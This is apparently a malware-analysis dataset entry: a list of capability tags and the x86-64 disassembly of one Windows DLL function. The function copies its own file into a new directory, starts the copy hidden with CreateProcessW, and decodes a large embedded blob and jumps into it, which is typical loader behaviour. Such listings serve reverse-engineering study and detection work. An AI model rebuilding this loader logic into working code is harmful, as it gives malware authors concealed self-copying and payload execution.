Function at 0x1800032c0
Capabilities:
Copy file
Create directory
Create process on windows
Terminate process

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x13b8
call sub.ntdll.dll___chkstk
sub rsp, rax
mov eax, dword [rsp + 0x13d8]
mov dword [rsp + 0xa8], eax
lea rcx, [0x180037e00]
call fcn.1800030d0
test eax, eax
je 0x1800035f7
lea rax, [rsp + 0xb0]
lea rcx, [0x180037e10]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xc8]
lea rcx, [0x180037e20]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
xor eax, eax
mov word [rsp + 0x98], ax
lea rax, [rsp + 0x9a]
mov rdi, rax
xor eax, eax
mov ecx, 0xe
rep stosb byte [rdi], al
xor r8d, r8d
xor edx, edx
lea rcx, [0x180037e40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
lea rdx, [0x180037e30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd8], rax
lea rcx, [0x180037e60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x180037e58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
lea rcx, [0x180037e90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x180037e78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x60], 5
lea rax, [rsp + 0x7a0]
lea rcx, [0x180037ec0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc02
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x88], 0xc02
mov dword [rsp + 0x50], 0
jmp 0x180003406
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x60]
dec eax
cmp dword [rsp + 0x50], eax
jge 0x180003447
lea rcx, [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0xa6]
movsxd rcx, dword [rsp + 0x50]
movzx eax, word [rsp + rax*2 + 0x7a0]
mov word [rsp + rcx*2 + 0x68], ax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800033fc
mov eax, dword [rsp + 0x60]
dec eax
cdqe
xor ecx, ecx
mov word [rsp + rax*2 + 0x68], cx
mov r9d, 0x8000
mov r8d, 0x20
lea rdx, [rsp + 0x170]
xor ecx, ecx
call qword [rsp + 0x78]
mov r9d, 0x8000
mov r8d, 0x20
lea rdx, [rsp + 0x590]
xor ecx, ecx
call qword [rsp + 0x78]
mov r8d, 0x104
lea rdx, [rsp + 0x380]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x380]
call fcn.180003160
test eax, eax
jne 0x1800035f7
lea rdx, [0x180037e0c]
lea rcx, [rsp + 0x170]
call qword [rsp + 0x58]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x170]
call qword [rsp + 0x58]
lea rdx, [0x180037e1c]
lea rcx, [rsp + 0x170]
call qword [rsp + 0x58]
xor edx, edx
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x170]
call qword [rsp + 0x58]
lea rdx, [0x180038ac8]
lea rcx, [rsp + 0x170]
call qword [rsp + 0x58]
xor r8d, r8d
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x380]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x380]
call fcn.180003160
test eax, eax
jne 0x1800035f7
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0xe0]
call fcn.180001eb0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x100]
call fcn.180001eb0
mov r8d, 8
xor edx, edx
lea rcx, [rsp + 0xc0]
call fcn.180001eb0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rsp + 0x64], 0x32e00
mov eax, dword [rsp + 0x64]
mov edx, eax
lea rcx, section..data
call fcn.180001000
mov qword [rsp + 0x90], rax
lea rdx, [0x180038ad8]
mov rcx, qword [rsp + 0x90]
call fcn.1800017d0
mov qword [rsp + 0x80], rax
call qword [rsp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]